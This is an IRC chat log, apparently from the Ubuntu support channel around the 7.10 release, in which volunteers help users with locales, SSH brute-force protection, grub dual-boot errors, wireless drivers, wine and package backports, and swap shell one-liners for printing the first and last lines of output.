[00:00] <kiru_> when i type help or man i get the help in hindu
[00:00] <jamiecumbria> neverblue:thanks i'll try
[00:00] <U`> synaptic ...
[00:00] <musashi> rxKaffee, that's why i was looking. that channel isn't overly active or helpful
[00:00] <Atomic_UE> soundray, there's no thesaurus either, but i'm not worried about that
[00:00] <neverblue> U`, what do you want to do, please be very clear
[00:00] <Pelo> snake_, I'm out fo ideas then
[00:00] <Pelo> neverblue,  he need to install more language packages
[00:00] <snake_> Pelo: thats ok. you helped me anyway. thanks
[00:00] <neverblue> Pelo,  I dont believe so
[00:00] <Pelo> u`  synaptic package manager,   menu > system > admin > synaptic
[00:00] <rxKaffee> musashi: that is denyhosts.conf is for ftp progs?
[00:01] <musashi> rxKaffee, it's for ssh
[00:01]  * Pelo feels like a failure
[00:01] <Atomic_UE> soundray, the selected language is English Australia, and I've just looked through synaptic at OOo packages and there's only packages for English GB installed
[00:01] <kiru_> if check in synaptic  punching in keys on a terminal
[00:01] <rxKaffee> musashi: afaik opensshd doesn't listen to the old deny/allow hosts files... you can set it to not allow root logins in the sshd.conf or whatever file it is
[00:01] <w00t> hi. not really good with grub, trying to figure out how to add an OS installed on a secondary HDD aka not the HDD my main grub is on
[00:01] <rxKaffee> musashi: or do I misunderstand teh purpose of the directive you're trying to set?
[00:02] <Pici> musashi: I use fail2ban to stop login attempts
[00:02] <U`> ok .. while using my ubuntu i try to learn some commands then i use msn command or help command to get more informaions about the command but i type that ..i got the help in english i just dont want it in english i want it in french
[00:02] <Pelo> w00t,  which os ?
[00:02] <musashi> rxKaffee, so denyhosts won't work with ssh? i that's that's what it's for
[00:02] <Pici> !locale | U`
[00:02] <ubotu> U`: To set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf
[00:02] <Pici> U`: And install manpages-fr
[00:02] <w00t> Pelo: mac (osx86) ^_^
[00:02] <musashi> Pici, i'll check that out. thanks
[00:02] <soundray> Atomic_UE: ah, now we're getting somewhere. You will need openoffice.org-thesaurus-en-au for the thesaurus
[00:03] <hocmin> I'm trying to use miro for the first time and whenever I try to add a channel it opens a firefox window.  Is there anyway to avoid this?
[00:03] <Pici> musashi: It can do alot more than ssh, but thats all I use it for, its webpage has quite a bit of documentation.
[00:03] <Pelo> w00t,  I don'T rightly know how to do it for mac os,  try asking in #grub,  be very patiente it's not a very busy channel
[00:03] <rxKaffee> musashi: oh, I was thinking of a different program, sorry
[00:03] <rxKaffee> fail2ban is kinda heavy
[00:03] <soundray> Atomic_UE: and myspell-en-au to spellcheck.
[00:03] <gnr> what movie player do you all use? vlc?
[00:03] <Pici> rxKaffee: it is, true.
[00:03] <cancu> has anyone got matlab under ubuntu?
[00:03] <neverblue> VLC
[00:04] <w00t> pelo: yeah im here, thought i'd try a busier chan see i iget lucky...thanks!
[00:04] <musashi> rxKaffee, well, denyhosts seems to do the job, it just doesn't ban at 1 for root like it's configured
[00:04] <nny> Pici, seems bootchart makes a .tgz file in /var/log.. In examples I see shiny graphs.. did I miss something?
[00:04] <U`> ok thanks pici
[00:04] <U`> thank you ubotu
[00:04] <Pelo> U`,  not all man pages are available in french,  most of mine are in english and I am setup in french as well , maybe the ppl in #ubuntu-fr know more about getting french manpages
[00:04] <neverblue> U`, its a bot --> ubotu :)
[00:04] <Pici> nny: one second.
[00:04] <gnr> is there any way of boosting wireless signal? my laptop sits still, yet the reception goes from 2 bars to 0 over about 20 mins, why is this? :o any programs i can install to help this?
[00:04] <nny> Pici, np
[00:05] <bruenig> gnr, that is a driver issue
[00:05] <burzum> hi
[00:05] <bruenig> gnr, kernel space, not user space
[00:05] <burzum> how can i switch from metacity window decorations to compiz themes?
[00:05] <rxKaffee> musashi: it bans properly for other violations though?
[00:05] <U`> oh fine bot talking thats nice ^^
[00:05] <Xapper> soundray: hmmm, didnt work - also had a few problems with rired connection
[00:05] <Pelo> w00t,  I know that windows likes to be on the boot hdd, so when using grub you need to remap the hdd ( in grub) for windows to boot if it is not on the boot hdd,  maybe that needs to be done for OSx as well
[00:05] <dissection> gnr, if its a Linksys router, you could try an open source firmware that'll allow you to improve the signal
[00:05] <soundray> Xapper: yes, I was wondering...
[00:05] <musashi> rxKaffee, seems to. most attempts are for root but for other non-existent accounts they get banned after 3 (i think)
[00:05] <Pici> nny: Mine get put into /var/log/bootchart/*.png
[00:05] <gnr> what do i need to do bruenig?
[00:05] <Xapper> soundray: LOL
[00:06] <nny> Pici, mounting /var/log to tmpfs, which doesn't allow for sub-dirs. I removed the fstab entry and I am rebooting
[00:06] <maff> anyone doing clustering with 7.10 on amd64?
[00:06] <nny> Pici, system is SSD based
[00:06] <Xapper> soundray: oh well its all good fun
[00:06] <soundray> Xapper: what do you get from a 'modinfo rt2570'?
[00:06] <bruenig> gnr, rewrite the kernel module?
[00:06] <bruenig> learn c first probably before you do that
[00:06] <soundray> Atomic_UE: was I making sense?
[00:06] <nny> Pici, er "by using tmpfs, the subdirs don
[00:06] <nny> t exist"
[00:06] <Pici> nny: ah.
[00:06] <Pici> nny: Anything in those tar.gz files?
[00:06] <Atomic_UE> yeh installed both...OOo not starting up now :( trying to figure out why
[00:06] <soundray> Xapper: good attitude
[00:06] <Pelo> w00t,  this may help a bit , after you have recovered from reading it  http://www.gnu.org/software/grub/manual/grub.html
[00:06] <Xapper> soundray: whats the link for pasting again
[00:07] <nny> Pici should be good now, ty. ( i changed back for a sec and rebooted, let me look for that folder)
[00:07] <nny> Pici, yesh, a header file and some logs
[00:07] <Atomic_UE> soundray, yeh installed both...OOo not starting up now :( trying to figure out why
[00:07] <musashi> rxKaffee, i can paste a log if that helps
[00:07] <soundray> Xapper: I only need the description: line, you can sneak that in here

[00:08] <Yachi> hey
[00:08] <rxKaffee> musashi: nah, I don't know anything about the program, was just wondering if maybe it was having trouble executing the "blocking" routine(iptables, route, whatever)
[00:08] <Xapper> sorry
[00:08] <nny> Pici hmmph, no bootchart folder, only the tgz again
[00:08] <w00t> Pelo: thanks...will bookmark it in case i need it :)

[00:08] <Pici> oh, nevermind you said that.
[00:09] <dissection> I have a problem. I installed nvidia-settings, and now my driver is missing and Ubuntu started in safe graphics mode.. How do I fix this?

[00:09] <musashi> rxKaffee, i meant the auth.log but it does block IPs. they do get added after 10 attempts. i have it set to 1 though and not sure why it isn't working
[00:09] <Yachi> im looking to get my usb headset working but i can't find drivers for it. is there any general usb headset drivers?
[00:09] <soundray> Atomic_UE: consider renaming .openoffice.org2 -- you will lose your customization, but it may work again
[00:09] <soundray> Xapper: I've seen it
[00:09] <larson> i nned help trying to get on the internet with dialup
[00:09] <nny> Pici, yeah has header, proc_diskstats.log, proc_ps.log and proc_stat.log
[00:09] <Pelo> dissection,  sudo dpkg-reconfigure xserver-xorg
[00:09] <burzum> how can i switch from metacity window decorations to compiz themes?
[00:09] <Pelo> !dailup | larson
[00:09] <ubotu> Sorry, I don't know anything about dailup - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[00:09] <Pelo> !modem | larson
[00:09] <ubotu> larson: You want to connect via dial-up? Read https://help.ubuntu.com/community/DialupModemHowto
[00:09] <rxKaffee> musashi: I'd scrap that all together, just change your port to a non-standard one, disable root login and password logins(key only), and use portsentry to ban any IP that hits the default ssh port
[00:09] <ZareliMan> hi
[00:09] <Atomic_UE> soundray, just did that, no effect
[00:09] <ZareliMan> I have a little issue
[00:09] <Romina> where can I choose what Java version I want to use when there are different kinds of Java's installed?
[00:10] <Pelo> burzum, you need to ask in #compiz-fusion
[00:10] <soundray> Xapper: I think you should try to disable network manager
[00:10] <burzum> ok
[00:10] <Xapper> rxkafee: not sure what problem is, new to this
[00:10] <Pelo> ZareliMan, state it breifly and in one line
[00:10] <soundray> Atomic_UE: did the package installation complete successfully?
[00:10] <ZareliMan> I have problems with a non-open soft driver
[00:10] <Xapper> soundray: do i do that through synaptic?
[00:10] <Centaur5> Could anybody tell me if Ubuntu PXE installs are broken in Gutsy?
[00:10] <Atomic_UE> soundray, yep
[00:11] <osmosis_> anyone remember the name of that app that shows a collage of image being loaded on your local network ?
[00:11] <musashi> rxKaffee, i've been reluctant to use a non-standard port 'cause i'm afraid I might not be able to connect from work if the port i choose is blocked
[00:11] <Pelo> ZareliMan,  this is a busy channel as you can see,  tell us the exact problem which driver and what happens
[00:11] <jimbojw> quick question: when using find, how can I get a reference to just the base filename? so for example, if find finds '/a/b/c/d.ext' and puts it in{}, i just want 'd.ext'
[00:11] <Atomic_UE> soundray, WARNING **: Unknown error forking main binary / abnormal early exit
[00:11] <Xapper> soundray: and will it affect my wired connection?
[00:11] <Atomic_UE> soundray, that's the error i get, not very helpful
[00:11] <tgelter> so I know this probably isn't the best place to ask this question, but I'm looking for a gps solution for the palm centro if anyone knows of one...like, I'd like to use some bluetooth gps receiver along with google maps
[00:11] <billthefish> I'm running Kubuntu (already asked this question in the kubuntu channel with no responce) 7.10 on my other PC. About 10 minutes ago while using inkscape, my ps\2 Keyboard just completely stoped working.. I've checked the connection in the back of the PC and its good, rebooted and allows me to type my password.. but once loged in.. i can't get the Keyboard to do anything.. Anyone come across this issue? or know how to fix it?
[00:11] <musashi> rxKaffee, i don't have a root login enabled but just want to limit the attempts
[00:11] <Punkunity> word up room
[00:11] <rxKaffee> musashi: ah, I see... corporate outgoing firewals suck :( put it on email port if you're not using email already ;)
[00:12] <musashi> rxKaffee, i tried 443 but it didn't work
[00:12] <soundray> Xapper: yes, but to do it temporarily, just do a sudo killall nm-applet ; sudo killall NetworkManager
[00:12] <Punkunity> i wanted to know about putting the new 7.10 on a memory stick, and then running and installing 7.10 from the memory stick
[00:12] <Roo-kie> are .daa files bootable?
[00:12] <musashi> rxKaffee, i.e. failed to connect (timed out)

[00:12] <ZareliMan> I can't activate my wireless' drirver (Broadcom 802.11) on my Ubuntu 7.10 and can't edit packages, because it asks for internet connection (wich I don't have cause the driver doesn't work)
[00:12] <Xapper> soundray: ok and when i reboot it will be back to normal, ok i'll give that a shot...thanks for all your help mate! appreciated!
[00:13] <Punkunity> i cannot use my web browser at the moment, but i am going to reformatt the computer in the process...ubuntu does ask you to if you want to during intial install right??
[00:13] <Roo-kie> Pelo: I don't know

[00:13] <soundray> Atomic_UE: that's very strange
[00:13] <snkmad> whenever i put a dvd movie on drive, it loads it with totem, how do i set it to open with vlc?
[00:13] <Yachi> im looking to get my usb headset working but i can't find drivers for it. is there any general usb headset drivers?
[00:14] <Pelo> Roo-kie,  if daa files are cd images you need to burn the image to the cd , ( not copy the daa file to the cd , not the same thing) then you will have a bootable cd
[00:14] <soundray> Atomic_UE: when you exited OOo, maybe it didn't terminate. Then it could have rewritten your freshly-renamed user config.
[00:14] <Pelo> Roo-kie,  assuming that the image in the daa file is that of a bootable cd
[00:14] <Pici> nny: got it:  `java -jar /usr/share/bootchart/bootchart.jar --help` update arguments for your needs
[00:14] <Roo-kie> Pelo: Thanks heaps
[00:15] <Xapper> soundray: ok i ran those two commands, second one gave 'no process killed'
[00:15] <Pelo> Yachi,  try looking up your model in https://wiki.ubuntu.com/HardwareSupport or in the forum see what is available in therms of info www.ubuntuforums.org
[00:15] <nny> ahh Pici thanks
[00:15] <gnr> how come vlc is not in the synaptic package manager? how doi install it?
[00:15] <soundray> Atomic_UE: the intellectually lazy approach would be to reboot, then rename your user config again and see if it starts after that.
[00:15] <Xapper> soundray: ah was a typo (case)
[00:15] <Pici> !info vlc | gord_

[00:16] <Atomic_UE> soundray, yeh i'll give it a shot...it pops up the splash screen for a second then dies
[00:16] <soundray> Xapper: do a 'ps aux | grep Network' to be sure no trace is left
[00:16] <gnr> that didn't mean anything to me Pici

[00:16] <dissection> :(
[00:16] <dissection> I have a problem. I installed nvidia-settings, and now my driver is missing and Ubuntu started in safe graphics mode.. How do I fix this?

[00:25] <Pici> !reiser | atlfalcons866
[00:25] <ubotu> atlfalcons866: reiserfs is a journalling file system, which outperforms many others on I/O operations, but has drawbacks (such as increasing likelihood of data loss, and introducing latency unsuitable for gaming or real-time audio). Using !ext3, the default on Ubuntu, is *highly* recommended. A read-only Windows driver is available at http://p-nand-q.com/download/rfstool.html
[00:25] <dissection> I'm not sure if this is a bug, but when I set a static IP for my wired and wireless network, my wireless doesn't work properly.. i.e, my torrents will work perfectly, but I can't ping any ips (not even on the network), or access the router. But if I set a static IP for the wireless and dynamic for the wired, or vice versa, this problem isn't there. Is this an Ubuntu bug? Has anyone noticed anything like this?
[00:25] <Xapper> soundray: blindly is quite apt for me...lol
[00:25] <jsschmid> rxKaffee: I set up grub correctly, the mapping and everything is correct (my opinion). I startet testdisk and it said that the heads per cylinder might be wrong (actual value is 255, proposed 240), but I'm not sure if I want to change it just out of a gues

[00:27] <Avt3kk> is there a yahoo chat aplication in synaptic???
[00:27] <bazz> i have a bcm4306 wireless card.  it was working nicely under 7.04, but now in 7.10 it's really really slow.  like i was getting 400kB/s during apt-gets before and now i only get like 30.

[00:27] <TwigEther> larson: but ignore the bit about commenting out eth0, that's only relevent when you get the kernel to get itself an IP :x
[00:28] <rxKaffee> Xapper: thre's an odd procedure that you need t do to get it to work it seems. ifconfig up, iwconfig to set essid, then you can iwlist to scan or initilize dhcp via your prefered method
[00:28] <jsschmid> Pici: sorry... what was this mode change about?
[00:28] <larson> ok thnx

[00:29] <Middleastin> any idea
[00:29] <scguy318> Middleastin: I'm presuming you have to install the fine restricted driver?

[00:32] <Jordan_U> mayorbuttes, Ahh, did you recently upgrade?
[00:32] <Middleastin> ok so what do i need to do
[00:32] <Avt3kk> scguy318 so just type this in term? http://repository.debuntu.org repo
[00:32] <Middleastin> go to the
[00:32] <Middleastin> system
[00:32] <mayorbuttes> Jordan_U: Yessir
[00:32] <Avt3kk> how to add
[00:32] <scguy318> Avt3kk: no
[00:32] <scguy318> Avt3kk: go to the website and see the instructions
[00:32] <jsschmid> I get a DISK READ ERROR after installing ubuntu when trying to start winxp. When I mount the partition in ubuntu I can still access all the data on the drive. Any ideas?????//

[00:32] <djjoka> so... no Zune support , i cant find anything
[00:32] <nny> Pici, seems to be a snag, any advice?
[00:33] <scguy318> jsschmid: hard disk dying?
[00:33] <Xapper> soundray: http://paste.ubuntu-nl.org/43735/
[00:33] <scguy318> jsschmid: sounds like you might wanna backup asap
[00:33] <mayorbuttes> jsschmid: backup anything you have that you would mind losing
[00:33] <jsschmid> scguy318: no, ubuntu  is still running of it and I can still access the data when mounting it in ubuntu
[00:33] <scguy318> jsschmid: but that data might go bye-bye soon so
[00:33] <Jordan_U> mayorbuttes, Right now ( because of some features lacking in network-manager which are resolved in the newest version ) if an interface is defined in /etc/networking/interfaces it won't be available to network-manager
[00:33] <soundray> Xapper: have you disabled ESSID advertising?
[00:33] <jsschmid> its not a hd problem!
[00:34] <scguy318> jsschmid: alright, so could you be more specific about the XP issue?
[00:34] <soundray> jsschmid: famous last words :)
[00:34] <Pici> nny: can you open it in inkscape or gimp?
[00:34] <jsschmid> for me, it is a partitioning problem
[00:34] <nny> Pici, let me try
[00:34] <jsschmid> soundray: :-D
[00:34] <scguy318> jsschmid: Disk Read Error, during XP boot or during BIOS phase?
[00:34] <Xapper> soundray: dont think so but ill check . sudo iwlist didnt work?
[00:34] <mayorbuttes> Jordan_U: Hm... I see... so network-manager just runs separate of /etc/network/interfaces ?
[00:34] <dus1> is there a way to defrag the HD with ubuntu, or doesnt it need it?
[00:34] <jsschmid> scguy318: right
[00:34] <Jordan_U> mayorbuttes, So you can either just use network manager ( which unfortunately has no good cli front end that I know of ) or set up a "manual" connection in System -> Administration -> Networking
[00:34] <Pici> dus1: doesnt need it.
[00:34] <Jordan_U> mayorbuttes, Yes
[00:35] <gravyface> hello all
[00:35] <soundray> Xapper: the ESSID is an empty string, that's why I'm asking
[00:35] <dus1> Pici: thats awesome, thanx
[00:35] <Xapper> soundray: ah yes it was off :)
[00:35] <mayorbuttes> Jordan_U: Is there anyway to continue using /etc/network/interfaces and completely ignore network-manager all-together?
[00:35] <LjL-Temp> soundray: so you ask questions like that and then run away, uh? do you know how many totally awkward and incomprehensible awk, ed, sed, etc commands i've had to witness in #bash because of your darn question?
[00:35] <gravyface> if I want to find out my processor/mobo (hardware) specs from the shell, how would I do it?
[00:35] <jsschmid> scguy318: I had installed XP previously, the installed Ubuntu, reconfigured grub, now I get the DISK READ ERROR when trying to boot XP
[00:36] <djjoka> is there a plugin or something to where I can use .exe files... other than VMware?
[00:36] <jsschmid> scguy318: I startet testdisk and it said that the heads per cylinder might be wrong (actual value is 255, proposed 240), but I'm not sure if I want to change it just out of a gues
[00:36] <mayorbuttes> djjoka: Look up wine
[00:36] <Pici> !wine | djjoka
[00:36] <ubotu> djjoka: WINE is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information, and see !AppDB for application compatibility.
[00:36]  * soundray blushes
[00:36] <ImLost---> jsschmid: where do you put the grub?
[00:36] <Jordan_U> mayorbuttes, Yes, setup the connection in System -> Administration -> Networking, though I am dissapointed that they just decided to nuke /etc/networking/interfaces on upgrades, is there a backup?
[00:36] <djjoka> ill test
[00:36] <scguy318> jsschmid: I unfortunately must break for dinner, I guess I'll let ImLost take up your question, might be an MBR thing
[00:36] <jsschmid> ImLost---:  on the ubuntu partition (same drive, second partition hd 0,1)
[00:36] <mayorbuttes> Jordan_U: Unfortunately, no. And the settup on my end is a little wonky to begin with since I'm on a University's connection
[00:36] <Xapper> soundray: http://paste.ubuntu-nl.org/43736/ its there now
[00:36] <Avt3kk> cant I just get a pidgin deb and install it?
[00:36] <djjoka> is it a "Sudo" install?
[00:37] <mayorbuttes> Jordan_U: So it just makes everything REALLY complicated =p
[00:37] <soundray> LjL-Temp: I'm so deeply sorry! I solved the prob the obvious way, by saving the output in a tempfile...
[00:37] <Pici> djjoka: huh?
[00:37] <LjL-Temp> soundray: try either « command | tee >(sed -n -e '1,10 p' >/tmp/head) >(tail >/tmp/tail) », and then cat those files in /tmp, or perhaps « command | sed '1,10w file1' | tail >file2 » and cat those
[00:37] <djjoka> sudo get-.........
[00:37] <rxKaffee> Avt3kk: you the guy trying to get pidgin on dapper?
[00:37] <jsschmid> scguy318: not mbr, grub is still booting
[00:37] <djjoka> that
[00:37] <Avt3kk> yes
[00:37] <Pici> djjoka: sudo apt-get install wine
[00:37] <mayorbuttes> djjoka: It's all sudo installs
[00:37] <rxKaffee> Avt3kk: you should be able to install the older (1.5 series) gaim, but for pidgin you'll need to find a backport
[00:37] <djjoka> thank you
[00:37] <Avt3kk> im the guy putting pigin on dapper
[00:37] <djjoka> ok
[00:37] <Jordan_U> mayorbuttes, Have you checked "ls -a /etc/network/" ? It might be ( though probably not ) hidden
[00:37] <Xapper> soundray: i think i'll be buying linux(ubuntu) for beginners at the weekend
[00:37] <rxKaffee> Avt3kk: is there a reason you need pidgin rather than gaim?
[00:38] <djjoka> ok
[00:38] <Avt3kk> whats a backport? :/
[00:38] <soundray> LjL-Temp: wow
[00:38] <LjL-Temp> soundray: but of course i *did* assume that using a temporary storage was not admissible. i'll spare you the whole explanation why « | tee >(head) >(tail) » doesn't work and tail displays some random lines instead of the last line, but only because i'm already worn out - you'd deserve to learn it all >:
[00:38] <rxKaffee> Avt3kk: backport is when a newer package is taken apart to source code, and re-compiled into an older operating system
[00:38] <Avt3kk> in yahoo chat now you need to confirm to get in the room
[00:38] <mayorbuttes> Jordan_U: The file still exists, don't get me wrong.
[00:38] <jsschmid> :-|
[00:38] <bz3> ok my ubuntu desktop has just started logging me out instead of locking the screen.. anyone have any sugestions??
[00:38] <mayorbuttes> Jordan_U: it's just that they nuke everything inside of the file
[00:38] <rxKaffee> Avt3kk: and you've tried with gaim to confirm but it doesn't work?
[00:39] <Avt3kk> rxKaffee so how do I update gaim then
[00:39] <Avt3kk> my gaim is way to old it just sits there
[00:39] <jsschmid> ImLost---:  any ideas?
[00:39] <Jordan_U> mayorbuttes, I know, and whenever that happens automatically ( like with your xorg.conf ) I thought it was standard practice for the script replacing / modifying it to create a backup
[00:39] <Yachi> how can i get ntfs-3g to scan for ntfs filesystems?
[00:39] <reco_> I was playing with various themes and moving panels around.  I no longer have the network icon or update icon in my panel.  How do I get them back?
[00:39] <rxKaffee> Avt3kk: I think I have a backports -made-easy url here, one sec and I'll look
[00:40] <mayorbuttes> Jordan_U: Ah. I'll check next time I boot into that machine
[00:40] <usr13> jsschmid: What are you trying to do?
[00:40] <Pici> reco_: right click and add to panel, and use the notification area applet.
[00:40] <Jordan_U> Yachi, You just want all ntfs file systems mounted?
[00:40] <Avt3kk> rxKaffee yes that is what I want!! :D tyyy
[00:40] <jsschmid> usr13: I get a DISK READ ERROR after installing ubuntu when trying to start winxp. When I mount the partition in ubuntu I can still access all the data on the drive.
[00:40] <ImLost---> jsschmid: In your place I would try recovey "windows mbr" windows (with the windows boot cd, fdisk /mbr)
[00:40] <soundray> LjL-Temp: thank you, thank you so much! If you ever need someone to read some horrible stuff for you, you know who to ask.
[00:40] <[sLaSh]> hi there! i got a problem, since yesterday my icq password isnt accepted anymore but im 100% sure that its right. happened after a restart an ive even tested icq2go...... with another account it works well.... anyone got the same problem or maybe any solution?
[00:40] <rxKaffee> Avt3kk: I'll warn though, its not easy, and will probably frustrate a bit
[00:40] <djjoka> with wine. is there other files i need to install?
[00:40] <djjoka> if so i cant find them
[00:41] <jsschmid> usr13: didnt we talk yesterday as well (mounting an USB stick I previously bootet from)
[00:41] <Jordan_U> mayorbuttes, If there is one it's name probably starts with interfaces, so something like "/etc/network/interfaces-date"
[00:41] <Pici> djjoka: Why do you think you need more files?
[00:41] <djjoka> ... i dont know
[00:41] <Avt3kk> I have a dualboot of xp and dapper and each has an image backup and a harddrive clone I cant be frustrated ;)
[00:41] <djjoka> just asking
[00:41] <usr13> jsschmid: Yes I think so
[00:41] <mayorbuttes> Jordan_U:  Thanks very much. I appreciate it
[00:41] <jsschmid> ImLost---:  the problem is, that I dont have a CDROM on my Laptop
[00:41] <reco_> Pici:  Thanks, that was so simple
[00:41] <Jordan_U> mayorbuttes, np
[00:41] <Avt3kk> rxKaffee ha :)
[00:41] <RabidWeezle> Hey folks, Just wanted to know, How do I enable the framebuffer?
[00:42] <phire> hey, is there a like a init script that gets when ubuntu comes out of suspend?
[00:42] <usr13> jsschmid: but don't remember what we did before
[00:42] <LjL-Temp> soundray: i'll just quickly cover the main alternatives. « perl -e 'print ((<>)[0..9,-10..-1])' », but this stores the stuff into memory, « ed -s file <<< $'1,10d\n$-9,$d\nw' », but this may not work with a command's output, « ed -s <<< $'e !ls /\n1,5d\n$-3,$d\n,p' », don't ask, « printf "%d\n" {1..30} | sed $':s;1,15{N;10w file1\nbs};{N;D}' > file2 », first 10 lines and last 15 lines, and finally  http://pastebin.com/m6c7da6d5 , a full-blown
[00:42] <LjL-Temp> sliding array awk implementation
[00:42] <Avt3kk> rxKaffee cant I just type sudo apt-get update gaim?
[00:42] <jsschmid> usr13: anyway, not important, it didnt work out
[00:42] <[sLaSh]> no clue at all?!?!?!?!?!
[00:42] <[sLaSh]> :/
[00:42] <Jordan_U> phire, Yes, let me see if I can find it
[00:42] <nny> meh you know you have been using linux too long when you try to tab complete firefox
[00:42] <[sLaSh]> im missin' my friends ;)
[00:42] <nny> Pici, http://www.atlantiatech.com/bootchart.jpg
[00:42] <usr13> jsschmid: I wonder if the problems are related...???  So, you are unable to boot WinXP now?
[00:42] <Pici> nny: woo
[00:42] <beewoo> hello, i'm using Ubuntu on an intel Imac. I can't find a way to turn the screen brightness down. anyone can help?
[00:43] <mayorbuttes> [sLaSh]: No one uses icq anymore.
[00:43] <phire> thanks Jordan_U, I couldn't find it my self
[00:43] <rxKaffee> Avt3kk: sudo apt-get update; to update your list of avail software from the repo, must likely there will be no candidates to "upgrade" gaim to though
[00:43] <[sLaSh]> well i do!
[00:43] <[sLaSh]> some kind of addicted!

[00:44] <ImLost---> jsschmid: did you try a boot floppy ? http://www.bootdisk.com/
[00:44] <soundray> LjL-Temp: you're amazing. Can you please make me feel a bit better by admitting that you had a tiny bit of fun researching this?
[00:44] <gnr> how do you open the file browser with root?
[00:44] <usr13> jsschmid: I think you are the one that was unexplainably unable to mount and read a flash memory drive of some sort?
[00:44] <Xapper> soundray: any other ideas mate?
[00:44] <mayorbuttes> [sLaSh]: well I apologize, but if no one is answering, we probably don't know :)
[00:44] <Punkunity> how do i make my computer boot up off of a SD card or similar memory card form the multi-card reader
[00:44] <ImLost---> i dont know if there is a fdisk on it, but could...
[00:44] <[sLaSh]> maybe no one read it ;)
[00:44] <[sLaSh]> but thx anyway
[00:44] <usr13> jsschmid: You might be dealing with a hardware issue..... something missconfigured maybe.
[00:44] <Avt3kk> rxKaffee so no luck huh
[00:45] <rxKaffee> Xapper: there's a very informative thread on the forum
[00:45] <mayorbuttes> [sLaSh]: I read it
[00:45] <LjL-Temp> soundray, at the beginning, yes, then when all those crazy guys in #bash started giving all those horrendous commands, i started feeling uncomfortable, embarrassed and a headache
[00:45] <rxKaffee> Avt3kk: saorry, still trying to track down the url
[00:45] <nny> Pici, i think tomorrow I will be recompiling kernel to remove modules that aren't needed as well as compiling in static hardware
[00:45] <jsschmid> usr13: yes, cant boot. I think they are kind of related: I used a USB stick to boot from and the installing ubuntu getting the packages from the server. After everything was done I had the grub on my USB stick, it was possible to boot both OS'es from there. Then I set up grub to be on my harddrive, now I cant boot winxp anymore, but ubuntu works
[00:45] <Jordan_U> phire, It's in /usr/lib/hal/scripts/linux/
[00:45] <mayorbuttes> [sLaSh]: but you're welcome
[00:45] <phire> thanks Jordan_U

[00:45] <Avt3kk> rxKaffee it ok I will be here for a while anyways
[00:45] <dissection> Where do I put a shell script so that it runs everytime on boot?
[00:45] <Pici> nny: What are you using the device for, I'm just curious
[00:45] <Xapper> soundray: ive gone through a few of them, wieman01 was my first attempt but i hit problems with 64bit etc

[00:50] <dissection> Jordan_U: Okay, I just installed bum, i.e., Boot-Up Manager. How do I add a script to this? I don't see an option for that anywhere...
[00:51] <jsschmid> usr13: http://paste.ubuntu-nl.org/43738/
[00:51] <Avt3kk> any ideas guys?

[00:51] <avayl> can someone help me out with my ubuntu install? im having some sound issues
[00:51] <rxKaffee> Avt3kk: you can request someone make a backport in the forum

[00:52] <dissection> Jordan_U: I can't do it with the GUI?
[00:52] <Avt3kk> ook ty
[00:52] <saltydav> hey do i need xgl to run compiz fusion for ati driver 8.40.4-1 ?  since which version of ati driver xgl is no longer needed but aiglx will do it automatically? thank you
[00:52] <dana_bad> how do you start a program that has a launcher with elevated permissions?
[00:52] <JP_Pialasse> i have probleme configuring devilspie it seems it can only deals with workspaces but not compiz virtuals horizontals desktops rights ?
[00:52] <Jordan_U> dissection, I don't know, there is probably a way but I've never tried
[00:52] <LjL> soundray: in theory it's the lousiest one possibly, as it stores the entire thing into memory, so if it's a very long output it's far from optimal
[00:52] <nickwashere> Can you watch DVDs on your Ubuntu 7.10?  If yes, PM me how! :o)  thanks!
[00:52] <ImLost---> jsschmid: Bad News, unitl where i know you would kew some type of windows boot to fix this... (supposing that this could be fixed 'by software'), and according with http://www.ngine.de/index.jsp?pageid=4176
[00:52] <RabidWeezle> Kaso Either way you do it you gotta login...
[00:52] <ImLost---> windows cant boot from usb
[00:53] <Jordan_U> dana_bad, Not sure if I understand the question, but I think the answer is gksudo :0
[00:53] <Jordan_U> :)
[00:53] <dana_bad> Jordan_U: how do you gksudo?
[00:53] <Jordan_U> !dvd > nickwashere
[00:53] <RabidWeezle> Kaso If you don't use gdm, you gotta login via terminal and then type in startx... so gdm is actually easier than the alternative
[00:53] <nickwashere> Whats !dvd mean?
[00:53] <Avt3kk> rxKaffee is this how to do it? http://ubuntuforums.org/showthread.php?t=268687
[00:53] <Jordan_U> dana_bad, Explain more what you are trying to do exactly
[00:54] <jewbilee> nickwasher: it tells ubotu to message you and give you information on a topic, in this case, it involves DVD's
[00:54] <rxKaffee> Avt3kk: looks like to creat your own, you could get away with downloading the relevant source files from gutsy's packages at packages.ubuntu.com, and then using apt-get source-build to compile them
[00:54] <Punkunity> does anyone know if i need to change the bios or anything elese to get my box to boot form my multi-card reader thats built into my com,puter
[00:54] <Jordan_U> nickwashere, It tells the channel bot to send you a PM about DVD's
[00:54] <nickwashere> Ah! haha This is so damn confusing.  Guys I just want to watch The Office on my laptop!
[00:54] <Punkunity> its on a memory stick duo pro
[00:54] <Kaso> RabidWeezle basically what i want to do is be able to turn my pc on, then VNC into and do my stuff, but the vnc server only starts up once ive logged in, any way i can get around this, i can ssh into the machine too.
[00:54] <dana_bad> Jordan_U: i want to edit the metadata for my mp3s but i dont have the right permissions
[00:54] <aguitel> how start every times in the restart compiz&emerald in gutsy ?
[00:54] <FluxD> nickwashere: VLC
[00:55] <dana_bad> Jordan_U: i think maybe a better idea is to chmod them
[00:55] <Avt3kk> rxKaffee yay this is good news ty :D
[00:55] <dormedas> Umm, I got a broken libc6-dev and libc6-i686 package, so I used synaptic to install -f, and now GDM won't boot because it erased a lot, but libc6 is still on here
[00:55] <jsschmid> ImLost---:  there are two ways to do it: just boot from your recovery partition ... I removed that one to get more space
[00:55] <jsschmid> ImLost---:   second: you can prepare an usb stick with Windows PE (Preboot Environment, e.g. BartPE) but it's a long way to go
[00:55] <Jordan_U> nickwashere, Install vlc and libdvdcss2
[00:55] <RabidWeezle> Kaso, that's cause vnc needs X to be running to send a desktop to it, it all runs off the xserver being up
[00:55] <rxKaffee> Avt3kk:
[00:55] <Punkunity> nickwashere just go to synaptic package manager or add remover programs, and search and download everyhting with dvd in it, asnd search and install ffmpeg
[00:55] <rxKaffee> Avt3kk: sorry, my paste buffer didn't work last try :P http://pupeno.com/2006/12/17/unstable-packages-on-ubuntu/
[00:55] <soundray> LjL: it's still better than calling the command twice. Storing intermediate files is all right, too, as long as I use local temp storage on the machine I run the command from -- have to avoid sending that thing to NAS.
